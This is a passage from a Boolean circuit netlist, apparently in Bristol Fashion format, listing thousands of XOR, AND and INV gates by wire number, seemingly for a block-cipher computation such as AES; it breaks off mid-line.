22447 22548 22442 XOR +2 1 22442 22443 22525 XOR +2 1 22542 22532 22531 AND +2 1 22531 22539 22529 XOR +2 1 22531 22549 22502 XOR +2 1 22502 22496 22523 XOR +2 1 1526 22502 22485 XOR +2 1 22485 22448 22530 XOR +2 1 22537 22529 22528 AND +2 1 22528 22498 22488 XOR +2 1 22488 22490 22527 XOR +2 1 22528 22552 22446 XOR +2 1 22485 22446 22438 XOR +2 1 22475 22438 22445 XOR +2 1 22442 22445 22526 XOR +2 1 22488 22441 22524 XOR +2 1 22438 22439 22522 XOR +2 1 22523 22560 22521 AND +2 1 22530 22559 22520 AND +2 1 22533 1527 22519 AND +2 1 22519 22521 22501 XOR +2 1 22524 22554 22518 AND +2 1 22527 22566 22517 AND +2 1 22537 22556 22516 AND +2 1 22516 22517 22455 XOR +2 1 22525 22557 22515 AND +2 1 22522 22555 22514 AND +2 1 22514 22517 22470 XOR +1 1 22470 22467 INV +2 1 22514 22515 22466 XOR +2 1 22526 22558 22513 AND +2 1 22523 22564 22512 AND +2 1 22530 22561 22511 AND +2 1 22533 22565 22510 AND +2 1 22524 22569 22509 AND +2 1 22509 22513 22486 XOR +2 1 22518 22509 22471 XOR +1 1 22486 22464 INV +2 1 22527 22562 22508 AND +2 1 22516 22508 22473 XOR +2 1 22537 22563 22507 AND +2 1 22464 22507 22463 XOR +2 1 22463 22501 22459 XOR +2 1 22525 22568 22506 AND +2 1 22506 22459 22462 XOR +2 1 22522 22570 22505 AND +2 1 22505 22506 22500 XOR +2 1 22511 22500 22482 XOR +2 1 22512 22482 22483 XOR +2 1 22520 22483 22487 XOR +2 1 22521 22487 22492 XOR +2 1 22473 22500 22469 XOR +2 1 22501 22469 22472 XOR +2 1 22471 22472 22574 XOR +2 1 22464 22469 22468 XOR +2 1 22467 22468 22573 XOR +2 1 22492 22466 22572 XOR +2 1 22482 22459 22458 XOR +2 1 22519 22487 22456 XOR +2 1 22455 22456 36714 XOR +2 1 36714 1420 1292 XOR +2 1 22526 22567 22504 AND +2 1 22515 22504 22465 XOR +1 1 22465 22461 INV +2 1 22461 22462 22571 XOR +1 1 22574 36711 INV +2 1 36711 1423 1295 XOR +2 1 1455 1295 1327 XOR +1 1 22573 36712 INV +2 1 36712 1422 1294 XOR +2 1 1454 1294 1326 XOR +1 1 22572 36717 INV +2 1 36717 1417 1289 XOR +2 1 1449 1289 1321 XOR +2 1 1481 1321 1353 XOR +2 1 1513 1353 1385 XOR +1 1 22571 36716 INV +2 1 36716 1418 1290 XOR +2 1 1450 1290 1322 XOR +2 1 1482 1322 1354 XOR +2 1 1514 1354 1386 XOR +2 1 1452 1292 1324 XOR +2 1 1484 1324 1356 XOR +2 1 1516 1356 1388 XOR +2 1 1486 1326 1358 XOR +2 1 1518 1358 1390 XOR +2 1 1390 1388 18582 XOR +2 1 1487 1327 1359 XOR +2 1 1519 1359 1391 XOR +2 1 1391 1385 18589 XOR +2 1 1386 18589 18674 XOR +2 1 1390 18674 18670 XOR +2 1 18674 18670 18657 AND +2 1 21266 21267 32706 XOR +2 1 32706 21241 36707 XOR +2 1 36707 1427 1299 XOR +2 1 1459 1299 1331 XOR +2 1 36739 1299 1171 XOR +2 1 36771 1171 1043 XOR +2 1 1331 1171 1203 XOR +2 1 1203 1043 1075 XOR +2 1 1491 1331 1363 XOR +2 1 1523 1363 1395 XOR +2 1 1395 1393 17612 XOR +2 1 17612 1394 17571 XOR +2 1 1363 1203 1235 XOR +2 1 1235 1075 1107 XOR +2 1 1395 1235 1267 XOR +2 1 1267 1265 15666 XOR +2 1 15666 1266 15625 XOR +2 1 1271 15625 15754 XOR +2 1 15754 1271 15740 AND +2 1 1267 1107 1139 XOR +2 1 1399 17571 17700 XOR +2 1 17700 1399 17686 AND +2 1 21263 32706 21243 XOR +2 1 21259 21243 21209 XOR +1 1 21209 21206 INV +2 1 21206 21207 36705 XOR +2 1 36705 1429 1301 XOR +2 1 1461 1301 1333 XOR +2 1 1493 1333 1365 XOR +2 1 1525 1365 1397 XOR +2 1 1397 17609 17611 XOR +2 1 1393 17611 17692 XOR +2 1 1394 17611 17689 XOR +2 1 17616 17611 17691 XOR +2 1 1398 1397 17626 XOR +2 1 1397 1395 17705 XOR +2 1 1396 1397 17586 XOR +2 1 36737 1301 1173 XOR +2 1 1333 1173 1205 XOR +2 1 1365 1205 1237 XOR +2 1 1397 1237 1269 XOR +2 1 1269 15663 15665 XOR +2 1 1265 15665 15746 XOR +2 1 1266 15665 15743 XOR +2 1 15670 15665 15745 XOR +2 1 1270 1269 15680 XOR +2 1 1269 1267 15759 XOR +2 1 1268 1269 15640 XOR +2 1 21264 21243 21203 XOR +2 1 21232 21203 36710 XOR +2 1 36710 1424 1296 XOR +2 1 1456 1296 1328 XOR +2 1 1488 1328 1360 XOR +2 1 1520 1360 1392 XOR +2 1 1394 1392 17610 XOR +2 1 17610 17705 17690 XOR +2 1 1395 1392 17703 XOR +2 1 17703 17626 17699 XOR +2 1 17610 17616 17698 XOR +2 1 17626 17698 17696 XOR +2 1 17609 17703 17695 XOR +2 1 1399 17695 17694 XOR +2 1 17612 17610 17572 XOR +2 1 17609 17572 17693 XOR +2 1 1392 1398 17704 XOR +2 1 1392 1397 17702 XOR +2 1 17695 17699 17688 AND +2 1 17688 17612 17615 XOR +2 1 17696 17694 17687 AND +2 1 17704 17689 17685 AND +2 1 17685 17610 17614 XOR +2 1 17698 17691 17683 AND +2 1 17703 17692 17682 AND +2 1 17682 17611 17613 XOR +2 1 17615 17613 17619 XOR +2 1 1392 17619 17624 XOR +2 1 17705 17690 17681 AND +2 1 17681 17687 17633 XOR +2 1 17633 17624 17679 XOR +2 1 17681 17682 17585 XOR +2 1 17585 17586 17632 XOR +2 1 17632 17614 17631 XOR +2 1 17684 17631 17678 XOR +2 1 17702 17693 17680 AND +2 1 17680 17683 17634 XOR +2 1 17680 17686 17638 XOR +2 1 17638 17610 17625 XOR +2 1 17633 17625 17676 XOR +2 1 17681 17634 17628 XOR +2 1 17614 17634 17588 XOR +2 1 17588 17613 17677 XOR +2 1 17619 17638 17587 XOR +2 1 1394 17587 17630 XOR +2 1 17684 17628 17584 XOR +2 1 1398 17584 17671 XOR +2 1 17679 17678 17675 AND +2 1 17675 17630 17670 XOR +2 1 17675 17677 17674 XOR +2 1 17676 17674 17673 AND +2 1 17673 17630 17672 XOR +2 1 17673 17685 17579 XOR +2 1 17579 17615 17575 XOR +2 1 1392 17575 17578 XOR +2 1 17673 17624 17576 XOR +2 1 1394 17575 17574 XOR +2 1 17670 17671 17669 AND +2 1 17669 17677 17668 XOR +2 1 17675 17669 17667 XOR +2 1 17669 17628 17583 XOR +2 1 17669 17686 17582 XOR +2 1 17582 17683 17577 XOR +2 1 17577 17578 17660 XOR +2 1 17677 17667 17666 AND +2 1 17666 17674 17664 XOR +2 1 17666 17684 17637 XOR +2 1 17637 17631 17658 XOR +2 1 1398 17637 17620 XOR +2 1 17620 17583 17665 XOR +2 1 17672 17664 17663 AND +2 1 17663 17633 17623 XOR +2 1 17623 17625 17662 XOR +2 1 17663 17687 17581 XOR +2 1 17620 17581 17573 XOR +2 1 17610 17573 17580 XOR +2 1 17577 17580 17661 XOR +2 1 17623 17576 17659 XOR +2 1 17573 17574 17657 XOR +2 1 17658 17695 17656 AND +2 1 17665 17694 17655 AND +2 1 17668 1399 17654 AND +2 1 17654 17656 17636 XOR +2 1 17659 17689 17653 AND +2 1 17662 17701 17652 AND +2 1 17672 17691 17651 AND +2 1 17651 17652 17590 XOR +2 1 17660 17692 17650 AND +2 1 17657 17690 17649 AND +2 1 17649 17652 17605 XOR +1 1 17605 17602 INV +2 1 17649 17650 17601 XOR +2 1 17661 17693 17648 AND +2 1 17658 17699 17647 AND +2 1 17665 17696 17646 AND +2 1 17668 17700 17645 AND +2 1 17659 17704 17644 AND +2 1 17644 17648 17621 XOR +2 1 17653 17644 17606 XOR +1 1 17621 17599 INV +2 1 17662 17697 17643 AND +2 1 17651 17643 17608 XOR +2 1 17672 17698 17642 AND +2 1 17599 17642 17598 XOR +2 1 17598 17636 17594 XOR +2 1 17660 17703 17641 AND +2 1 17641 17594 17597 XOR +2 1 17657 17705 17640 AND +2 1 17640 17641 17635 XOR +2 1 17646 17635 17617 XOR +2 1 17647 17617 17618 XOR +2 1 17655 17618 17622 XOR +2 1 17656 17622 17627 XOR +2 1 17608 17635 17604 XOR +2 1 17636 17604 17607 XOR +2 1 17606 17607 17709 XOR +2 1 17599 17604 17603 XOR +2 1 17602 17603 17708 XOR +2 1 17627 17601 17707 XOR +2 1 17617 17594 17593 XOR +2 1 17654 17622 17591 XOR +2 1 17590 17591 36746 XOR +2 1 17661 17702 17639 AND +2 1 17650 17639 17600 XOR +1 1 17600 17596 INV +2 1 17596 17597 17706 XOR +1 1 17709 36743 INV +1 1 17708 36744 INV +1 1 17707 36749 INV +1 1 17706 36748 INV +2 1 36749 1289 1161 XOR +2 1 36742 1296 1168 XOR +2 1 1328 1168 1200 XOR +2 1 36743 1295 1167 XOR +2 1 1360 1200 1232 XOR +2 1 1392 1232 1264 XOR +2 1 1266 1264 15664 XOR +2 1 15664 15759 15744 XOR +2 1 1267 1264 15757 XOR +2 1 15757 15680 15753 XOR +2 1 15664 15670 15752 XOR +2 1 15680 15752 15750 XOR +2 1 15663 15757 15749 XOR +2 1 1271 15749 15748 XOR +2 1 15666 15664 15626 XOR +2 1 15663 15626 15747 XOR +2 1 1264 1270 15758 XOR +2 1 1264 1269 15756 XOR +2 1 15749 15753 15742 AND +2 1 15742 15666 15669 XOR +2 1 15750 15748 15741 AND +2 1 15758 15743 15739 AND +2 1 15739 15664 15668 XOR +2 1 15752 15745 15737 AND +2 1 15757 15746 15736 AND +2 1 15736 15665 15667 XOR +2 1 15669 15667 15673 XOR +2 1 1264 15673 15678 XOR +2 1 15759 15744 15735 AND +2 1 15735 15741 15687 XOR +2 1 15687 15678 15733 XOR +2 1 15735 15736 15639 XOR +2 1 15639 15640 15686 XOR +2 1 15686 15668 15685 XOR +2 1 15738 15685 15732 XOR +2 1 15756 15747 15734 AND +2 1 15734 15737 15688 XOR +2 1 15734 15740 15692 XOR +2 1 15692 15664 15679 XOR +2 1 15687 15679 15730 XOR +2 1 15735 15688 15682 XOR +2 1 15668 15688 15642 XOR +2 1 15642 15667 15731 XOR +2 1 15673 15692 15641 XOR +2 1 1266 15641 15684 XOR +2 1 15738 15682 15638 XOR +2 1 1270 15638 15725 XOR +2 1 15733 15732 15729 AND +2 1 15729 15684 15724 XOR +2 1 15729 15731 15728 XOR +2 1 15730 15728 15727 AND +2 1 15727 15684 15726 XOR +2 1 15727 15739 15633 XOR +2 1 15633 15669 15629 XOR +2 1 1264 15629 15632 XOR +2 1 15727 15678 15630 XOR +2 1 1266 15629 15628 XOR +2 1 15724 15725 15723 AND +2 1 15723 15731 15722 XOR +2 1 15729 15723 15721 XOR +2 1 15723 15682 15637 XOR +2 1 15723 15740 15636 XOR +2 1 15636 15737 15631 XOR +2 1 15631 15632 15714 XOR +2 1 15731 15721 15720 AND +2 1 15720 15728 15718 XOR +2 1 15720 15738 15691 XOR +2 1 15691 15685 15712 XOR +2 1 1270 15691 15674 XOR +2 1 15674 15637 15719 XOR +2 1 15726 15718 15717 AND +2 1 15717 15687 15677 XOR +2 1 15677 15679 15716 XOR +2 1 15717 15741 15635 XOR +2 1 15674 15635 15627 XOR +2 1 15664 15627 15634 XOR +2 1 15631 15634 15715 XOR +2 1 15677 15630 15713 XOR +2 1 15627 15628 15711 XOR +2 1 15712 15749 15710 AND +2 1 15719 15748 15709 AND +2 1 15722 1271 15708 AND +2 1 15708 15710 15690 XOR +2 1 15713 15743 15707 AND +2 1 15716 15755 15706 AND +2 1 15726 15745 15705 AND +2 1 15705 15706 15644 XOR +2 1 15714 15746 15704 AND +2 1 15711 15744 15703 AND +2 1 15703 15706 15659 XOR +1 1 15659 15656 INV +2 1 15703 15704 15655 XOR +2 1 15715 15747 15702 AND +2 1 15712 15753 15701 AND +2 1 15719 15750 15700 AND +2 1 15722 15754 15699 AND +2 1 15713 15758 15698 AND +2 1 15698 15702 15675 XOR +2 1 15707 15698 15660 XOR +1 1 15675 15653 INV +2 1 15716 15751 15697 AND +2 1 15705 15697 15662 XOR +2 1 15726 15752 15696 AND +2 1 15653 15696 15652 XOR +2 1 15652 15690 15648 XOR +2 1 15714 15757 15695 AND +2 1 15695 15648 15651 XOR +2 1 15711 15759 15694 AND +2 1 15694 15695 15689 XOR +2 1 15700 15689 15671 XOR +2 1 15701 15671 15672 XOR +2 1 15709 15672 15676 XOR +2 1 15710 15676 15681 XOR +2 1 15662 15689 15658 XOR +2 1 15690 15658 15661 XOR +2 1 15660 15661 15763 XOR +2 1 15653 15658 15657 XOR +2 1 15656 15657 15762 XOR +2 1 15681 15655 15761 XOR +2 1 15671 15648 15647 XOR +2 1 15708 15676 15645 XOR +2 1 15644 15645 36778 XOR +2 1 15715 15756 15693 AND +2 1 15704 15693 15654 XOR +1 1 15654 15650 INV +2 1 15650 15651 15760 XOR +1 1 15763 36775 INV +1 1 15762 36776 INV +1 1 15761 36781 INV +1 1 15760 36780 INV +2 1 36744 1294 1166 XOR +2 1 1321 1161 1193 XOR +2 1 1353 1193 1225 XOR +2 1 1327 1167 1199 XOR +2 1 1359 1199 1231 XOR +2 1 1391 1231 1263 XOR +2 1 1385 1225 1257 XOR +2 1 1263 1257 12181 XOR +2 1 36748 1290 1162 XOR +2 1 1322 1162 1194 XOR +2 1 1354 1194 1226 XOR +2 1 1386 1226 1258 XOR +2 1 1258 12181 12267 XOR +2 1 36746 1292 1164 XOR +2 1 1324 1164 1196 XOR +2 1 1326 1166 1198 XOR +2 1 1358 1198 1230 XOR +2 1 1390 1230 1262 XOR +2 1 1262 12267 12263 XOR +2 1 12267 12263 12250 AND +2 1 1356 1196 1228 XOR +2 1 1388 1228 1260 XOR +2 1 1262 1260 12174 XOR +2 1 36774 1168 1040 XOR +2 1 36780 1162 1034 XOR +2 1 36775 1167 1039 XOR +2 1 36778 1164 1036 XOR +2 1 1196 1036 1068 XOR +2 1 1228 1068 1100 XOR +2 1 1260 1100 1132 XOR +2 1 36776 1166 1038 XOR +2 1 1199 1039 1071 XOR +2 1 1200 1040 1072 XOR +2 1 1198 1038 1070 XOR +2 1 1230 1070 1102 XOR +2 1 1262 1102 1134 XOR +2 1 36781 1161 1033 XOR +2 1 1193 1033 1065 XOR +2 1 1225 1065 1097 XOR +2 1 1257 1097 1129 XOR +2 1 36769 1173 1045 XOR +2 1 1205 1045 1077 XOR +2 1 1237 1077 1109 XOR +2 1 1269 1109 1141 XOR +2 1 1194 1034 1066 XOR +2 1 1226 1066 1098 XOR +2 1 1258 1098 1130 XOR +2 1 1231 1071 1103 XOR +2 1 1263 1103 1135 XOR +2 1 1232 1072 1104 XOR +2 1 1264 1104 1136 XOR +2 1 15706 15707 32666 XOR +2 1 32666 15681 36779 XOR +2 1 15703 32666 15683 XOR +2 1 15699 15683 15649 XOR +1 1 15649 15646 INV +2 1 15646 15647 36777 XOR +2 1 15704 15683 15643 XOR +2 1 15672 15643 36782 XOR +2 1 17652 17653 32680 XOR +2 1 17649 32680 17629 XOR +2 1 17650 17629 17589 XOR +2 1 17645 17629 17595 XOR +1 1 17595 17592 INV +2 1 17592 17593 36745 XOR +2 1 17618 17589 36750 XOR +2 1 32680 17627 36747 XOR +2 1 22517 22518 32715 XOR +2 1 22514 32715 22494 XOR +2 1 22510 22494 22460 XOR +1 1 22460 22457 INV +2 1 22457 22458 36713 XOR +2 1 36713 1421 1293 XOR +2 1 36745 1293 1165 XOR +2 1 1453 1293 1325 XOR +2 1 1325 1165 1197 XOR +2 1 1485 1325 1357 XOR +2 1 1357 1197 1229 XOR +2 1 1517 1357 1389 XOR +2 1 1390 1389 18599 XOR +2 1 1389 1229 1261 XOR +2 1 1262 1261 12191 XOR +2 1 1261 12174 12176 XOR +2 1 1257 12176 12258 XOR +2 1 1258 12176 12255 XOR +2 1 12181 12176 12257 XOR +2 1 1260 1261 12151 XOR +2 1 1389 18582 18584 XOR +2 1 1386 18584 18662 XOR +2 1 18589 18584 18664 XOR +2 1 22515 22494 22454 XOR +2 1 22483 22454 36718 XOR +2 1 36718 1416 1288 XOR +2 1 36750 1288 1160 XOR +2 1 1448 1288 1320 XOR +2 1 1320 1160 1192 XOR +2 1 1480 1320 1352 XOR +2 1 1352 1192 1224 XOR +2 1 1512 1352 1384 XOR +2 1 1384 1390 18677 XOR +2 1 18677 18662 18658 AND +2 1 1386 1384 18583 XOR +2 1 18658 18583 18587 XOR +2 1 18583 18589 18671 XOR +2 1 18671 18664 18656 AND +2 1 18599 18671 18669 XOR +2 1 1384 1224 1256 XOR +2 1 1258 1256 12175 XOR +2 1 1256 1261 12268 XOR +2 1 1256 1262 12270 XOR +2 1 12270 12255 12251 AND +2 1 12251 12175 12179 XOR +2 1 1384 1389 18675 XOR +2 1 12175 12181 12264 XOR +2 1 12191 12264 12262 XOR +2 1 12264 12257 12249 AND +2 1 1388 1389 18559 XOR +2 1 36782 1160 1032 XOR +2 1 36777 1165 1037 XOR +2 1 1197 1037 1069 XOR +2 1 1229 1069 1101 XOR +2 1 1261 1101 1133 XOR +2 1 1192 1032 1064 XOR +2 1 1224 1064 1096 XOR +2 1 1256 1096 1128 XOR +2 1 1385 18584 18665 XOR +2 1 32715 22492 36715 XOR +2 1 36715 1419 1291 XOR +2 1 1451 1291 1323 XOR +2 1 36747 1291 1163 XOR +2 1 1323 1163 1195 XOR +2 1 1483 1323 1355 XOR +2 1 1515 1355 1387 XOR +2 1 1387 1385 18585 XOR +2 1 1387 1384 18676 XOR +2 1 18676 18599 18672 XOR +2 1 18582 18676 18668 XOR +2 1 1391 18668 18667 XOR +2 1 1389 1387 18678 XOR +2 1 18583 18678 18663 XOR +2 1 18585 18583 18545 XOR +2 1 18582 18545 18666 XOR +2 1 18585 1386 18544 XOR +2 1 1391 18544 18673 XOR +2 1 18668 18672 18661 AND +2 1 18661 18585 18588 XOR +2 1 18669 18667 18660 AND +2 1 18673 1391 18659 AND +2 1 18676 18665 18655 AND +2 1 18655 18584 18586 XOR +2 1 18588 18586 18592 XOR +2 1 1384 18592 18597 XOR +2 1 18678 18663 18654 AND +2 1 18654 18660 18606 XOR +2 1 18606 18597 18652 XOR +2 1 18654 18655 18558 XOR +2 1 18558 18559 18605 XOR +2 1 18605 18587 18604 XOR +2 1 18657 18604 18651 XOR +2 1 18675 18666 18653 AND +2 1 18653 18656 18607 XOR +2 1 18653 18659 18611 XOR +2 1 18611 18583 18598 XOR +2 1 18606 18598 18649 XOR +2 1 18654 18607 18601 XOR +2 1 18587 18607 18561 XOR +2 1 18561 18586 18650 XOR +2 1 18592 18611 18560 XOR +2 1 1386 18560 18603 XOR +2 1 18657 18601 18557 XOR +2 1 1390 18557 18644 XOR +2 1 18652 18651 18648 AND +2 1 18648 18603 18643 XOR +2 1 18648 18650 18647 XOR +2 1 18649 18647 18646 AND +2 1 18646 18603 18645 XOR +2 1 18646 18658 18552 XOR +2 1 18552 18588 18548 XOR +2 1 1384 18548 18551 XOR +2 1 18646 18597 18549 XOR +2 1 1386 18548 18547 XOR +2 1 18643 18644 18642 AND +2 1 18642 18650 18641 XOR +2 1 18648 18642 18640 XOR +2 1 18642 18601 18556 XOR +2 1 18642 18659 18555 XOR +2 1 18555 18656 18550 XOR +2 1 18550 18551 18633 XOR +2 1 18650 18640 18639 AND +2 1 18639 18647 18637 XOR +2 1 18639 18657 18610 XOR +2 1 18610 18604 18631 XOR +2 1 1390 18610 18593 XOR +2 1 18593 18556 18638 XOR +2 1 18645 18637 18636 AND +2 1 18636 18606 18596 XOR +2 1 18596 18598 18635 XOR +2 1 18636 18660 18554 XOR +2 1 18593 18554 18546 XOR +2 1 18583 18546 18553 XOR +2 1 18550 18553 18634 XOR +2 1 18596 18549 18632 XOR +2 1 18546 18547 18630 XOR +2 1 18631 18668 18629 AND +2 1 18638 18667 18628 AND +2 1 18641 1391 18627 AND +2 1 18627 18629 18609 XOR +2 1 18632 18662 18626 AND +2 1 18635 18674 18625 AND +2 1 18645 18664 18624 AND +2 1 18624 18625 18563 XOR +2 1 18633 18665 18623 AND +2 1 18630 18663 18622 AND +2 1 18622 18625 18578 XOR +1 1 18578 18575 INV +2 1 18622 18623 18574 XOR +2 1 18634 18666 18621 AND +2 1 18631 18672 18620 AND +2 1 18638 18669 18619 AND +2 1 18641 18673 18618 AND +2 1 18632 18677 18617 AND +2 1 18617 18621 18594 XOR +2 1 18626 18617 18579 XOR +1 1 18594 18572 INV +2 1 18635 18670 18616 AND +2 1 18624 18616 18581 XOR +2 1 18645 18671 18615 AND +2 1 18572 18615 18571 XOR +2 1 18571 18609 18567 XOR +2 1 18633 18676 18614 AND +2 1 18614 18567 18570 XOR +2 1 18630 18678 18613 AND +2 1 18613 18614 18608 XOR +2 1 18619 18608 18590 XOR +2 1 18620 18590 18591 XOR +2 1 18628 18591 18595 XOR +2 1 18629 18595 18600 XOR +2 1 18581 18608 18577 XOR +2 1 18609 18577 18580 XOR +2 1 18579 18580 18682 XOR +2 1 18572 18577 18576 XOR +2 1 18575 18576 18681 XOR +2 1 18600 18574 18680 XOR +2 1 18590 18567 18566 XOR +2 1 18627 18595 18564 XOR +2 1 18563 18564 36754 XOR +2 1 18634 18675 18612 AND +2 1 18623 18612 18573 XOR +1 1 18573 18569 INV +2 1 18569 18570 18679 XOR +1 1 18682 36751 INV +1 1 18681 36752 INV +1 1 18680 36757 INV +1 1 18679 36756 INV +2 1 36756 1282 1154 XOR +2 1 36757 1281 1153 XOR +2 1 36752 1286 1570 XOR +1 1 1570 1158 INV +2 1 36751 1287 1571 XOR +1 1 1571 1159 INV +2 1 1314 1154 1186 XOR +2 1 1318 1570 1574 XOR +1 1 1574 1190 INV +2 1 1350 1574 1578 XOR +1 1 1578 1222 INV +2 1 1382 1578 1582 XOR +2 1 1313 1153 1185 XOR +2 1 1319 1571 1575 XOR +1 1 1575 1191 INV +2 1 1351 1575 1579 XOR +1 1 1579 1223 INV +2 1 1383 1579 1583 XOR +2 1 36754 1284 1569 XOR +1 1 1569 1156 INV +2 1 1316 1569 1573 XOR +1 1 1573 1188 INV +2 1 1345 1185 1217 XOR +2 1 1377 1217 1249 XOR +2 1 1346 1186 1218 XOR +2 1 1378 1218 1250 XOR +2 1 1348 1573 1577 XOR +1 1 1577 1220 INV +2 1 1380 1577 1581 XOR +2 1 1355 1195 1227 XOR +2 1 1387 1227 1259 XOR +2 1 1259 1257 12177 XOR +2 1 1259 1256 12269 XOR +2 1 12269 12191 12265 XOR +2 1 12174 12269 12261 XOR +2 1 1263 12261 12260 XOR +2 1 1261 1259 12271 XOR +2 1 12175 12271 12256 XOR +2 1 12177 12175 12137 XOR +2 1 12174 12137 12259 XOR +2 1 12177 1258 12136 XOR +2 1 1263 12136 12266 XOR +2 1 12261 12265 12254 AND +2 1 12254 12177 12180 XOR +2 1 12262 12260 12253 AND +2 1 12266 1263 12252 AND +2 1 12269 12258 12248 AND +2 1 12248 12176 12178 XOR +2 1 12180 12178 12184 XOR +2 1 1256 12184 12189 XOR +2 1 12271 12256 12247 AND +2 1 12247 12253 12198 XOR +2 1 12198 12189 12245 XOR +2 1 12247 12248 12150 XOR +2 1 12150 12151 12197 XOR +2 1 12197 12179 12196 XOR +2 1 12250 12196 12244 XOR +2 1 12268 12259 12246 AND +2 1 12246 12249 12199 XOR +2 1 12246 12252 12203 XOR +2 1 12203 12175 12190 XOR +2 1 12198 12190 12242 XOR +2 1 12247 12199 12193 XOR +2 1 12179 12199 12153 XOR +2 1 12153 12178 12243 XOR +2 1 12184 12203 12152 XOR +2 1 1258 12152 12195 XOR +2 1 12250 12193 12149 XOR +2 1 1262 12149 12237 XOR +2 1 12245 12244 12241 AND +2 1 12241 12195 12236 XOR +2 1 12241 12243 12240 XOR +2 1 12242 12240 12239 AND +2 1 12239 12195 12238 XOR +2 1 12239 12251 12144 XOR +2 1 12144 12180 12140 XOR +2 1 1256 12140 12143 XOR +2 1 12239 12189 12141 XOR +2 1 1258 12140 12139 XOR +2 1 12236 12237 12235 AND +2 1 12235 12243 12234 XOR +2 1 12241 12235 12233 XOR +2 1 12235 12193 12148 XOR +2 1 12235 12252 12147 XOR +2 1 12147 12249 12142 XOR +2 1 12142 12143 12226 XOR +2 1 12243 12233 12232 AND +2 1 12232 12240 12230 XOR +2 1 12232 12250 12202 XOR +2 1 12202 12196 12224 XOR +2 1 1262 12202 12185 XOR +2 1 12185 12148 12231 XOR +2 1 12238 12230 12229 AND +2 1 12229 12198 12188 XOR +2 1 12188 12190 12228 XOR +2 1 12229 12253 12146 XOR +2 1 12185 12146 12138 XOR +2 1 12175 12138 12145 XOR +2 1 12142 12145 12227 XOR +2 1 12188 12141 12225 XOR +2 1 12138 12139 12223 XOR +2 1 12224 12261 12222 AND +2 1 12231 12260 12221 AND +2 1 12234 1263 12220 AND +2 1 12220 12222 12201 XOR +2 1 12225 12255 12219 AND +2 1 12228 12267 12218 AND +2 1 12218 12219 12204 XOR +2 1 12238 12257 12217 AND +2 1 12217 12218 12155 XOR +2 1 12226 12258 12216 AND +2 1 12223 12256 12215 AND +2 1 12215 12204 12194 XOR +2 1 12215 12218 12170 XOR +1 1 12170 12167 INV +2 1 12215 12216 12166 XOR +2 1 12216 12194 12154 XOR +2 1 12227 12259 12214 AND +2 1 12224 12265 12213 AND +2 1 12231 12262 12212 AND +2 1 12234 12266 12211 AND +2 1 12211 12194 12160 XOR +1 1 12160 12157 INV +2 1 12225 12270 12210 AND +2 1 12210 12214 12186 XOR +2 1 12219 12210 12171 XOR +1 1 12186 12164 INV +2 1 12228 12263 12209 AND +2 1 12217 12209 12173 XOR +2 1 12238 12264 12208 AND +2 1 12164 12208 12163 XOR +2 1 12163 12201 12159 XOR +2 1 12226 12269 12207 AND +2 1 12207 12159 12162 XOR +2 1 12223 12271 12206 AND +2 1 12206 12207 12200 XOR +2 1 12212 12200 12182 XOR +2 1 12213 12182 12183 XOR +2 1 12221 12183 12187 XOR +2 1 12222 12187 12192 XOR +2 1 12204 12192 36787 XOR +2 1 12173 12200 12169 XOR +2 1 12201 12169 12172 XOR +2 1 12171 12172 12275 XOR +2 1 12164 12169 12168 XOR +2 1 12167 12168 12274 XOR +2 1 12192 12166 12273 XOR +2 1 12182 12159 12158 XOR +2 1 12157 12158 36785 XOR +2 1 12220 12187 12156 XOR +2 1 12155 12156 36786 XOR +2 1 12183 12154 36790 XOR +2 1 12227 12268 12205 AND +2 1 12216 12205 12165 XOR +1 1 12165 12161 INV +2 1 12161 12162 12272 XOR +1 1 12275 36783 INV +1 1 12274 36784 INV +1 1 12273 36789 INV +1 1 12272 36788 INV +1 1 1583 1255 INV +2 1 1255 1249 12321 XOR +2 1 1250 12321 12407 XOR +1 1 1582 1254 INV +2 1 1254 12407 12403 XOR +2 1 12407 12403 12390 AND +1 1 1581 1252 INV +2 1 1254 1252 12314 XOR +2 1 36779 1163 1035 XOR +2 1 36783 1159 1031 XOR +2 1 36784 1158 1587 XOR +1 1 1587 1030 INV +2 1 1195 1035 1067 XOR +2 1 36788 1154 1584 XOR +1 1 1584 1026 INV +2 1 1186 1584 1588 XOR +1 1 1588 1058 INV +2 1 36789 1153 1025 XOR +2 1 1185 1025 1057 XOR +2 1 1227 1067 1099 XOR +2 1 1259 1099 1131 XOR +2 1 1217 1057 1089 XOR +2 1 1249 1089 1121 XOR +2 1 1218 1588 1592 XOR +1 1 1592 1090 INV +2 1 1250 1592 1596 XOR +1 1 1596 1122 INV +2 1 1190 1587 1591 XOR +1 1 1591 1062 INV +2 1 1191 1031 1063 XOR +2 1 36786 1156 1028 XOR +2 1 1188 1028 1060 XOR +2 1 1220 1060 1092 XOR +2 1 1252 1092 1124 XOR +2 1 1223 1063 1095 XOR +2 1 1255 1095 1127 XOR +2 1 1222 1591 1595 XOR +1 1 1595 1094 INV +2 1 1254 1595 1599 XOR +1 1 1599 1126 INV +2 1 18625 18626 32687 XOR +2 1 32687 18600 36755 XOR +2 1 36755 1283 1568 XOR +2 1 1315 1568 1572 XOR +1 1 1572 1187 INV +2 1 1347 1572 1576 XOR +1 1 1576 1219 INV +2 1 1379 1576 1580 XOR +1 1 1580 1251 INV +2 1 1251 1249 12317 XOR +2 1 12317 1250 12276 XOR +2 1 1255 12276 12406 XOR +2 1 12406 1255 12392 AND +1 1 1568 1155 INV +2 1 36787 1155 1585 XOR +1 1 1585 1027 INV +2 1 1187 1585 1589 XOR +1 1 1589 1059 INV +2 1 1219 1589 1593 XOR +1 1 1593 1091 INV +2 1 1251 1593 1597 XOR +1 1 1597 1123 INV +2 1 18622 32687 18602 XOR +2 1 18618 18602 18568 XOR +1 1 18568 18565 INV +2 1 18565 18566 36753 XOR +2 1 18623 18602 18562 XOR +2 1 18591 18562 36758 XOR +2 1 36753 1285 1157 XOR +2 1 36758 1280 1152 XOR +2 1 1317 1157 1189 XOR +2 1 1349 1189 1221 XOR +2 1 1381 1221 1253 XOR +2 1 1253 12314 12316 XOR +2 1 1249 12316 12398 XOR +2 1 1250 12316 12395 XOR +2 1 12321 12316 12397 XOR +2 1 1254 1253 12332 XOR +2 1 1253 1251 12411 XOR +2 1 1252 1253 12291 XOR +2 1 1312 1152 1184 XOR +2 1 1344 1184 1216 XOR +2 1 1376 1216 1248 XOR +2 1 1250 1248 12315 XOR +2 1 12315 12411 12396 XOR +2 1 1251 1248 12409 XOR +2 1 12409 12332 12405 XOR +2 1 12315 12321 12404 XOR +2 1 12332 12404 12402 XOR +2 1 12314 12409 12401 XOR +2 1 1255 12401 12400 XOR +2 1 12317 12315 12277 XOR +2 1 12314 